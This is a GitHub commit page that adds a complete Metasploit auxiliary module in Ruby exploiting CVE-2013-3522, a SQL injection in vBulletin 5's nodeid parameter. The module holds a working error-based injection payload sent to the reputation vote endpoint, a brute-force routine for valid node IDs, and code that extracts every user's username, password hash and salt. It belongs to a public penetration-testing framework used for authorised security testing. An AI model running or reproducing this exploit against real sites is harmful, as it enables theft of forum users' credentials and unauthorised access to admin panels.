Skip to content

Commit feca3ef

Browse files
committed
Land rapid7#2728 - vBulletin Password Collector via nodeid SQL Injection
2 parents 45a0ac9 + 9241227 commit feca3ef

File tree

1 file changed

+197
-0
lines changed

1 file changed

+197
-0
lines changed
Lines changed: 197 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,197 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Auxiliary
9+
10+
include Msf::Auxiliary::Report
11+
include Msf::Exploit::Remote::HttpClient
12+
13+
def initialize(info = {})
14+
super(update_info(info,
15+
'Name' => 'vBulletin Password Collector via nodeid SQL Injection',
16+
'Description' => %q{
17+
This module exploits a SQL Injection vulnerability found in vBulletin 5 that has been
18+
used in the wild since March 2013. This module can be used to extract the web application's
19+
usernames and hashes, which could be used to authenticate into the vBulletin admin control
20+
panel.
21+
},
22+
'References' =>
23+
[
24+
[ 'CVE', '2013-3522' ],
25+
[ 'OSVDB', '92031' ],
26+
[ 'EDB', '24882' ],
27+
[ 'BID', '58754' ],
28+
[ 'URL', 'http://www.zempirians.com/archive/legion/vbulletin_5.pl.txt' ]
29+
],
30+
'Author' =>
31+
[
32+
'Orestis Kourides', # Vulnerability discovery and PoC
33+
'sinn3r', # Metasploit module
34+
'juan vazquez' # Metasploit module
35+
],
36+
'License' => MSF_LICENSE,
37+
'DisclosureDate' => "Mar 24 2013"
38+
))
39+
40+
register_options(
41+
[
42+
OptString.new("TARGETURI", [true, 'The path to vBulletin', '/']),
43+
OptInt.new("NODE", [false, 'Valid Node ID']),
44+
OptInt.new("MINNODE", [true, 'Valid Node ID', 1]),
45+
OptInt.new("MAXNODE", [true, 'Valid Node ID', 100])
46+
], self.class)
47+
end
48+
49+
def exists_node?(id)
50+
mark = Rex::Text.rand_text_alpha(8 + rand(5))
51+
result = do_sqli(id, "select '#{mark}'")
52+
53+
if result and result =~ /#{mark}/
54+
return true
55+
end
56+
57+
return false
58+
end
59+
60+
def brute_force_node
61+
min = datastore["MINNODE"]
62+
max = datastore["MAXNODE"]
63+
64+
if min > max
65+
print_error("#{peer} - MINNODE can't be major than MAXNODE")
66+
return nil
67+
end
68+
69+
for node_id in min..max
70+
if exists_node?(node_id)
71+
return node_id
72+
end
73+
end
74+
75+
return nil
76+
end
77+
78+
def get_node
79+
if datastore['NODE'].nil? or datastore['NODE'] <= 0
80+
print_status("#{peer} - Brute forcing to find a valid node id...")
81+
return brute_force_node
82+
end
83+
84+
print_status("#{peer} - Checking node id #{datastore['NODE']}...")
85+
if exists_node?(datastore['NODE'])
86+
return datastore['NODE']
87+
else
88+
return nil
89+
end
90+
end
91+
92+
# session maybe isn't needed, unauthenticated
93+
def do_sqli(node, query)
94+
mark = Rex::Text.rand_text_alpha(5 + rand(3))
95+
random_and = Rex::Text.rand_text_numeric(4)
96+
injection = ") and(select 1 from(select count(*),concat((select (select concat('#{mark}',cast((#{query}) as char),'#{mark}')) "
97+
injection << "from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) "
98+
injection << "AND (#{random_and}=#{random_and}"
99+
100+
res = send_request_cgi({
101+
'method' => 'POST',
102+
'uri' => normalize_uri(target_uri.path, "index.php", "ajax", "api", "reputation", "vote"),
103+
'vars_post' =>
104+
{
105+
'nodeid' => "#{node}#{injection}",
106+
}
107+
})
108+
109+
unless res and res.code == 200 and res.body.to_s =~ /Database error in vBulletin/
110+
return nil
111+
end
112+
113+
data = ""
114+
115+
if res.body.to_s =~ /#{mark}(.*)#{mark}/
116+
data = $1
117+
end
118+
119+
return data
120+
end
121+
122+
def get_user_data(node_id, user_id)
123+
user = do_sqli(node_id, "select username from user limit #{user_id},#{user_id+1}")
124+
pass = do_sqli(node_id, "select password from user limit #{user_id},#{user_id+1}")
125+
salt = do_sqli(node_id, "select salt from user limit #{user_id},#{user_id+1}")
126+
127+
return [user, pass, salt]
128+
end
129+
130+
def check
131+
node_id = get_node
132+
133+
unless node_id.nil?
134+
return Msf::Exploit::CheckCode::Vulnerable
135+
end
136+
137+
res = send_request_cgi({
138+
'uri' => normalize_uri(target_uri.path, "index.php")
139+
})
140+
141+
if res and res.code == 200 and res.body.to_s =~ /"simpleversion": "v=5/
142+
return Msf::Exploit::CheckCode::Detected
143+
end
144+
145+
return Msf::Exploit::CheckCode::Unknown
146+
end
147+
148+
def run
149+
print_status("#{peer} - Checking for a valid node id...")
150+
node_id = get_node
151+
if node_id.nil?
152+
print_error("#{peer} - node id not found")
153+
return
154+
end
155+
156+
print_good("#{peer} - Using node id #{node_id} to exploit sqli... Counting users...")
157+
data = do_sqli(node_id, "select count(*) from user")
158+
if data.blank?
159+
print_error("#{peer} - Error exploiting sqli")
160+
return
161+
end
162+
count_users = data.to_i
163+
print_good("#{peer} - #{count_users} users found. Collecting credentials...")
164+
165+
users_table = Rex::Ui::Text::Table.new(
166+
'Header' => 'vBulletin Users',
167+
'Ident' => 1,
168+
'Columns' => ['Username', 'Password Hash', 'Salt']
169+
)
170+
171+
for i in 0..count_users
172+
user = get_user_data(node_id, i)
173+
unless user.join.empty?
174+
report_auth_info({
175+
:host => rhost,
176+
:port => rport,
177+
:user => user[0],
178+
:pass => user[1],
179+
:type => "hash",
180+
:sname => (ssl ? "https" : "http"),
181+
:proof => "salt: #{user[2]}" # Using proof to store the hash salt
182+
})
183+
users_table << user
184+
end
185+
end
186+
187+
if users_table.rows.length > 0
188+
print_good("#{users_table.rows.length.to_s} credentials successfully collected")
189+
print_line(users_table.to_s)
190+
else
191+
print_error("Unfortunately the module was unable to extract any credentials")
192+
end
193+
end
194+
195+
196+
end
197+

0 commit comments

Comments
 (0)